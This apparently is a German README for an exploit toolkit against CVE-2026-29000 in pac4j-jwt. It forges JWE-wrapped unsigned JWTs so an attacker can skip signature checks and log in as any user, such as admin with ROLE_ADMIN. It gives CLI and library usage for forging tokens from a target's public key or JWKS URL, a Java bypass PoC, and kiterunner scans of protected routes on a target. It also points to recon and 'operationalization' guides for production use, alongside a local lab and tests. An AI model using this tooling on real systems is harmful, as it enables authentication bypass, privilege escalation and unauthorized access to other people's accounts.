
Forge JWE-verpackte unsignierte JWTs, um die pac4j-jwt-Signaturprüfung (CVE-2026-29000) zu umgehen und sich als beliebiger Benutzer zu authentifizieren; enthält Python-CLI, Bibliothek, Java-PoC und kiterunner-Routenscanning.
Vollständiger Ausbau: Writeup, Java-In-Process-PoC, Python-Token-Forge-CLI und -Bibliothek, Tests.
Siehe WRITEUP.md für Details und PoC-Anforderungen.
| Pfad | Beschreibung |
|---|---|
WRITEUP.md | CVE-Zusammenfassung, Grundursache, betroffene Versionen, PoC-Anforderungen, Referenzen |
RECON.md | Was einzufügen ist (Claim-Erkennung, app-spezifische Claims) und wo einzureichen (Header, Cookies, Auffinden geschützter Endpunkte) |
OPERATIONALIZATION.md | Was für den Produktionsbetrieb nötig ist: Verpackung, Konfiguration, Sicherheit, Automatisierung, Beobachtbarkeit, Wartung |
scripts/kr_scan.py | Token fälschen und kiterunner (~/bin/kr) mit Authorization: Bearer ausführen, um geschützte API-Routen zu brute-forcen/zu scannen |
examples/ | Beispielskripte: forge_and_curl.sh, forge_and_kr.sh |
lab/ | Flask-Lab-App (JWE-Endpunkt + JWKS) zum Testen des Token-Forge |
poc/ | Java-Maven-PoC (In-Process-Umgehung gegen pac4j-jwt 6.0.3) |
token_forge/ | Python-Paket: JWE-verpackten PlainJWT aus PEM oder JWKS-URL fälschen |
tests/ | Pytest-Tests für Claims, Forge, Schlüssel, CLI |
requirements.txt | Python-Abhängigkeiten (jwcrypto, requests, pytest) |
python3 -m venv .venv
source .venv/bin/activate # oder .venv\Scripts\activate unter Windows
pip install -r requirements.txt
# Aus PEM (generieren mit: openssl genrsa 2048 | openssl rsa -pubout)
python -m token_forge --public-key /pfad/zu/pub.pem --subject admin --roles "ROLE_ADMIN,ROLE_USER"
# Aus JWKS-URL
python -m token_forge --jwks-url https://ziel/.well-known/jwks.json --subject admin
# Zusätzliche Claims (für app-spezifische Erkennung): --claim [email protected] --claim key=value
# Optionen: --exp-sec, --jwks-kid, --log-file, --enable-file-logging, --verbose
Ausgabe: eine einzelne Zeile (gefälschtes JWT); verwenden als Authorization: Bearer <token>.
Erfordert kr in ~/bin/kr. Token fälschen und kr brute (oder kr scan) mit Bearer-Authentifizierung ausführen, um geschützte Routen zu entdecken:
python scripts/kr_scan.py https://ziel.com --jwks-url https://ziel.com/.well-known/jwks.json
python scripts/kr_scan.py https://ziel.com --public-key pub.pem -w pfade.txt -o json --dry-run
Siehe RECON.md §4 für Optionen (--subject, --roles, --claim, -A, --scan, usw.).
from token_forge import forge_token, load_public_key_from_pem, load_public_key_from_jwks_url
with open("pub.pem", "rb") as f:
key = load_public_key_from_pem(f.read())
token = forge_token(key, subject="admin", roles=["ROLE_ADMIN"], exp_sec=3600)
pytest -vv --tb=short --maxfail=1
# oder mit Warnungen als Fehler:
pytest -vv -W error -W always --tb=short --maxfail=1
cd poc
mvn -q compile exec:java -Dexec.mainClass="Poc"
# Oder nur Token (ohne In-Process-Validierung):
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--token-only"
# Mit benutzerdefiniertem Subject/Rollen:
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--subject user --roles ROLE_A,ROLE_B"
Erwartet: [BYPASS] Authenticated as: admin#override und Rollen bei In-Process-Ausführung.
pytest -vv --cov=token_forge --cov-report=term-missing
pytest -vv --cov=token_forge --cov-report=html # dann htmlcov/index.html öffnen
docker build -t cve-2026-29000 .
docker run --rm cve-2026-29000 pytest -vv --cov=token_forge --cov-report=term-missing
Flask-App, die JWE akzeptiert und Claims zurückgibt (zum Testen von Forge + curl/kr).
docker compose up -d lab
TOKEN=$(python -m token_forge --jwks-url http://localhost:8080/.well-known/jwks.json 2>/dev/null)
curl -H "Authorization: Bearer $TOKEN" http://localhost:8080/api/me
Siehe lab/README.md.